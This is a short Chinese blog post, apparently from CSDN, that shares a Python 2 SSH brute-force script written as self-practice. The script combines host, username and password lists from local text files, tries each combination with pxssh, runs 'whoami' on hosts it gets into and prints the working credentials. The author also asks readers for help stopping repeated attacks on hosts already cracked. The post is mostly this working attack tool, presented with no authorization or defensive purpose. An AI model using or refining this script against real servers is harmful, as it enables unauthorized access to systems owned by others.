python爆破端口_ssh爆破(python腳本)

最近在烏雲看到一份端口詳解:為了鍛煉自己,按照端口詳解寫腳本

cd1d1b3e09d90c88a5e6c99a9dd033b8.png

#!/usr/local/bin/ python

# -*- coding: UTF-8 -*-

__author__ = 'yangxiaodi'

from multiprocessing import Pool

from pexpect import pxssh

import sys

reload(sys)

sys.setdefaultencoding( "utf-8" )

datas=[]

def connect():

cmd = 'whoami'

for data in datas:

host = data.split(':',2)[0]

user = data.split(':',2)[1]

password = data.split(':',2)[2]

try:

s = pxssh.pxssh(timeout=3)

s.login(host,user,password)

s.sendline(cmd)

s.prompt()

print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 執行命令:'+s.before

except:

print u'錯誤 [-] ssh host:'+host+' user:'+user+' password:'+password

def read_file(filepath):

f = open(filepath).readlines()

return f

def get_host_user_pass():

host = read_file('host.txt')

for h in host:

h = h.replace('\n','')

user = read_file('user.txt')

for u in user:

u = u.replace('\n','')

passs = read_file('pass.txt')

for pas in passs:

pas = pas.replace('\n','')

datas.append(h+':'+u+':'+pas)

return True

resu = []

get_host_user_pass()

p = Pool()

resu.append(p.apply_async(connect,args=()))

p.close()

p.join()

for res in resu:

print res.get()

print 'all subprocesses done.'

本地要有三個文件  user.txt , host.txt , pass.txt

這次沒在腳本做判斷,遇到成功的還是繼續爆破成功的ip,原因是用了多進程,然后不會改,留到后面再來解決。(有人幫忙嗎)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值